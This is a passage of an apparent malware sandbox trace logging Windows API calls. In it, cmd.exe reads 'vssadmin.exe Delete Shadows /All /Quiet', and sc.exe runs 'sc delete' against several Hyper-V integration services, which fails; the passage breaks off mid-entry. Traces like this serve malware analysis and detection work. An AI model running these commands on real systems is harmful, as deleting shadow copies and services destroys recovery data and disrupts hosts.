[0145.525] FreeEnvironmentStringsW (penv=0x1cba90) returned 1 [0145.525] GetProcessHeap () returned 0x1b0000 [0145.525] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0145.525] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0145.525] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0145.526] _get_osfhandle (_FileHandle=1) returned 0x120 [0145.526] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0145.526] _get_osfhandle (_FileHandle=1) returned 0x120 [0145.526] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0145.526] _get_osfhandle (_FileHandle=0) returned 0xb8 [0145.526] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0145.527] GetConsoleOutputCP () returned 0x1b5 [0145.527] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0145.527] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0145.527] GetProcessHeap () returned 0x1b0000 [0145.527] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0145.527] GetProcessHeap () returned 0x1b0000 [0145.527] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0145.527] GetProcessHeap () returned 0x1b0000 [0145.527] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0145.528] GetProcessHeap () returned 0x1b0000 [0145.528] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc5b0 | out: hHeap=0x1b0000) returned 1 [0145.528] GetProcessHeap () returned 0x1b0000 [0145.528] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0145.528] GetProcessHeap () returned 0x1b0000 [0145.528] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0145.528] GetProcessHeap () returned 0x1b0000 [0145.528] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0145.528] GetProcessHeap () returned 0x1b0000 [0145.528] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0145.528] GetProcessHeap () returned 0x1b0000 [0145.528] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0145.528] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0145.528] _get_osfhandle (_FileHandle=1) returned 0x120 [0145.528] GetFileType (hFile=0x120) returned 0x3 [0145.528] _get_osfhandle (_FileHandle=1) returned 0x120 [0145.528] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0145.528] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0145.528] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0145.529] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0145.529] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0145.529] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0145.529] _get_osfhandle (_FileHandle=1) returned 0x120 [0145.529] GetFileType (hFile=0x120) returned 0x3 [0145.529] _get_osfhandle (_FileHandle=1) returned 0x120 [0145.529] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0145.529] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0145.529] _get_osfhandle (_FileHandle=0) returned 0xb8 [0145.529] GetFileType (hFile=0xb8) returned 0x3 [0145.529] _get_osfhandle (_FileHandle=0) returned 0xb8 [0145.529] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.530] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0145.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="essadmin.exe Delete Shadows /All /Quiet\n") returned 1 [0145.530] _get_osfhandle (_FileHandle=0) returned 0xb8 [0145.530] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.530] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0145.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="xsadmin.exe Delete Shadows /All /Quiet\n") returned 1 [0145.530] _get_osfhandle (_FileHandle=0) returned 0xb8 [0145.530] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.530] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0145.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr="iadmin.exe Delete Shadows /All /Quiet\n") returned 1 [0145.530] _get_osfhandle (_FileHandle=0) returned 0xb8 [0145.530] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.530] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0145.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="tdmin.exe Delete Shadows /All /Quiet\n") returned 1 [0145.530] _get_osfhandle (_FileHandle=0) returned 0xb8 [0145.530] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.530] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0145.530] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="\nmin.exe Delete Shadows /All /Quiet\n") returned 1 [0145.531] _get_osfhandle (_FileHandle=0) returned 0xb8 [0145.531] GetFileType (hFile=0xb8) returned 0x3 [0145.531] _get_osfhandle (_FileHandle=0) returned 0xb8 [0145.531] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.531] _get_osfhandle (_FileHandle=1) returned 0x120 [0145.531] GetFileType (hFile=0x120) returned 0x3 [0145.531] _get_osfhandle (_FileHandle=1) returned 0x120 [0145.531] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="exit\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exit\n", lpUsedDefaultChar=0x0) returned 6 [0145.531] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x5, lpOverlapped=0x0) returned 1 [0145.531] GetProcessHeap () returned 0x1b0000 [0145.531] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0145.531] GetProcessHeap () returned 0x1b0000 [0145.531] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0145.531] GetProcessHeap () returned 0x1b0000 [0145.531] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0145.531] GetProcessHeap () returned 0x1b0000 [0145.531] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1a) returned 0x1c4610 [0145.531] GetConsoleOutputCP () returned 0x1b5 [0145.532] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0145.532] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0145.532] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0145.532] GetProcessHeap () returned 0x1b0000 [0145.532] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x14) returned 0x1c89b0 [0145.532] GetProcessHeap () returned 0x1b0000 [0145.532] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x1a) returned 0x1c4640 [0145.532] GetProcessHeap () returned 0x1b0000 [0145.532] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9910 [0145.532] GetConsoleTitleW (in: lpConsoleTitle=0x1c9920, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0145.532] GetProcessHeap () returned 0x1b0000 [0145.532] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9910, Size=0x80) returned 0x1c9910 [0145.532] GetProcessHeap () returned 0x1b0000 [0145.532] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9910) returned 0x80 [0145.532] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - exit") returned 1 [0145.533] GetProcessHeap () returned 0x1b0000 [0145.533] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0145.535] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0145.536] exit (_Code=0) Process: id = "4" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x392ac000" os_pid = "0x798" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete vmickvpexchange" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 5 os_tid = 0x48c [0062.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12f950 | out: lpSystemTimeAsFileTime=0x12f950*(dwLowDateTime=0xe8750510, dwHighDateTime=0x1d62701)) [0062.644] GetCurrentProcessId () returned 0x798 [0062.644] GetCurrentThreadId () returned 0x48c [0062.644] GetTickCount () returned 0x1146fd3 [0062.644] QueryPerformanceCounter (in: lpPerformanceCount=0x12f958 | out: lpPerformanceCount=0x12f958*=18284297528) returned 1 [0062.645] GetModuleHandleW (lpModuleName=0x0) returned 0xff560000 [0062.645] __set_app_type (_Type=0x1) [0062.645] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff567228) returned 0x0 [0062.645] __wgetmainargs (in: _Argc=0xff56b604, _Argv=0xff56b610, _Env=0xff56b608, _DoWildCard=0, _StartInfo=0xff56b050 | out: _Argc=0xff56b604, _Argv=0xff56b610, _Env=0xff56b608) returned 0 [0062.646] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0062.647] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0062.648] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0062.648] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0062.648] _wcsicmp (_String1="delete", _String2="query") returned -13 [0062.648] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0062.648] _wcsicmp (_String1="delete", _String2="start") returned -15 [0062.648] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0062.648] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0062.648] _wcsicmp (_String1="delete", _String2="control") returned 1 [0062.648] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0062.648] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0062.648] _wcsicmp (_String1="delete", _String2="config") returned 1 [0062.648] _wcsicmp (_String1="delete", _String2="description") returned -7 [0062.648] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0062.648] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0062.648] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0062.648] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0062.648] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0062.648] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0062.648] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0062.648] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0062.648] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0062.648] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0062.648] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0062.648] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0062.648] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0062.648] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0062.648] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0062.648] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0062.648] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0062.648] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0062.648] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1a43a0 [0062.653] OpenServiceW (hSCManager=0x1a43a0, lpServiceName="vmickvpexchange", dwDesiredAccess=0x10000) returned 0x0 [0062.653] GetLastError () returned 0x424 [0062.654] _itow (in: _Dest=0x424, _Radix=1243064 | out: _Dest=0x424) returned="1060" [0062.654] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff56b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0062.655] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x12f770, nSize=0x2, Arguments=0x12f7a0 | out: lpBuffer="趀\x1a") returned 0x62 [0062.656] GetFileType (hFile=0x120) returned 0x3 [0062.656] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1a8e60 [0062.656] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1a8e60, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1a", lpUsedDefaultChar=0x0) returned 98 [0062.656] WriteFile (in: hFile=0x120, lpBuffer=0x1a8e60*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x12f718, lpOverlapped=0x0 | out: lpBuffer=0x1a8e60*, lpNumberOfBytesWritten=0x12f718*=0x62, lpOverlapped=0x0) returned 1 [0062.656] LocalFree (hMem=0x1a8e60) returned 0x0 [0062.656] LocalFree (hMem=0x1a8d80) returned 0x0 [0062.656] LocalFree (hMem=0x0) returned 0x0 [0062.656] CloseServiceHandle (hSCObject=0x1a43a0) returned 1 [0062.671] exit (_Code=1060) Thread: id = 6 os_tid = 0x700 Process: id = "5" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x391bd000" os_pid = "0x4fc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete vmicguestinterface" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 8 os_tid = 0x7c8 [0062.788] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xcff30 | out: lpSystemTimeAsFileTime=0xcff30*(dwLowDateTime=0xe88a7170, dwHighDateTime=0x1d62701)) [0062.788] GetCurrentProcessId () returned 0x4fc [0062.788] GetCurrentThreadId () returned 0x7c8 [0062.788] GetTickCount () returned 0x1147060 [0062.788] QueryPerformanceCounter (in: lpPerformanceCount=0xcff38 | out: lpPerformanceCount=0xcff38*=18298692066) returned 1 [0062.790] GetModuleHandleW (lpModuleName=0x0) returned 0xffd00000 [0062.790] __set_app_type (_Type=0x1) [0062.790] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffd07228) returned 0x0 [0062.790] __wgetmainargs (in: _Argc=0xffd0b604, _Argv=0xffd0b610, _Env=0xffd0b608, _DoWildCard=0, _StartInfo=0xffd0b050 | out: _Argc=0xffd0b604, _Argv=0xffd0b610, _Env=0xffd0b608) returned 0 [0062.791] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0062.798] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0062.798] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0062.798] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0062.798] _wcsicmp (_String1="delete", _String2="query") returned -13 [0062.798] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0062.798] _wcsicmp (_String1="delete", _String2="start") returned -15 [0062.799] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0062.799] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0062.799] _wcsicmp (_String1="delete", _String2="control") returned 1 [0062.799] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0062.799] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0062.799] _wcsicmp (_String1="delete", _String2="config") returned 1 [0062.799] _wcsicmp (_String1="delete", _String2="description") returned -7 [0062.799] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0062.799] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0062.799] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0062.799] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0062.799] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0062.799] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0062.799] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0062.799] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0062.799] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0062.799] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0062.799] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0062.799] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0062.799] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0062.799] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0062.799] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0062.799] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0062.799] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0062.799] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0062.799] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x1e43e0 [0062.803] OpenServiceW (hSCManager=0x1e43e0, lpServiceName="vmicguestinterface", dwDesiredAccess=0x10000) returned 0x0 [0062.804] GetLastError () returned 0x424 [0062.804] _itow (in: _Dest=0x424, _Radix=851352 | out: _Dest=0x424) returned="1060" [0062.804] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffd0b740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0062.806] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0xcfd50, nSize=0x2, Arguments=0xcfd80 | out: lpBuffer="跀\x1e") returned 0x62 [0062.807] GetFileType (hFile=0x120) returned 0x3 [0062.807] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x1e8ea0 [0062.807] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x1e8ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x1e", lpUsedDefaultChar=0x0) returned 98 [0062.807] WriteFile (in: hFile=0x120, lpBuffer=0x1e8ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0xcfcf8, lpOverlapped=0x0 | out: lpBuffer=0x1e8ea0*, lpNumberOfBytesWritten=0xcfcf8*=0x62, lpOverlapped=0x0) returned 1 [0062.807] LocalFree (hMem=0x1e8ea0) returned 0x0 [0062.807] LocalFree (hMem=0x1e8dc0) returned 0x0 [0062.807] LocalFree (hMem=0x0) returned 0x0 [0062.807] CloseServiceHandle (hSCObject=0x1e43e0) returned 1 [0062.813] exit (_Code=1060) Thread: id = 9 os_tid = 0x640 Process: id = "6" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x398c2000" os_pid = "0x90" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x730" cmd_line = "sc delete vmicshutdown" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 10 os_tid = 0x518 [0063.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f8d0 | out: lpSystemTimeAsFileTime=0x18f8d0*(dwLowDateTime=0xe89d7c70, dwHighDateTime=0x1d62701)) [0063.018] GetCurrentProcessId () returned 0x90 [0063.018] GetCurrentThreadId () returned 0x518 [0063.018] GetTickCount () returned 0x11470dd [0063.018] QueryPerformanceCounter (in: lpPerformanceCount=0x18f8d8 | out: lpPerformanceCount=0x18f8d8*=18321694037) returned 1 [0063.019] GetModuleHandleW (lpModuleName=0x0) returned 0xffa70000 [0063.020] __set_app_type (_Type=0x1) [0063.020] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffa77228) returned 0x0 [0063.020] __wgetmainargs (in: _Argc=0xffa7b604, _Argv=0xffa7b610, _Env=0xffa7b608, _DoWildCard=0, _StartInfo=0xffa7b050 | out: _Argc=0xffa7b604, _Argv=0xffa7b610, _Env=0xffa7b608) returned 0 [0063.021] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0063.022] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0063.022] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0063.023] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0063.023] _wcsicmp (_String1="delete", _String2="query") returned -13 [0063.023] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0063.023] _wcsicmp (_String1="delete", _String2="start") returned -15 [0063.023] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0063.023] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0063.023] _wcsicmp (_String1="delete", _String2="control") returned 1 [0063.023] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0063.023] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0063.023] _wcsicmp (_String1="delete", _String2="config") returned 1 [0063.023] _wcsicmp (_String1="delete", _String2="description") returned -7 [0063.023] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0063.023] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0063.023] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0063.023] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0063.023] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0063.023] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0063.023] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0063.023] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0063.023] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0063.023] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0063.023] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0063.023] _wcsicmp 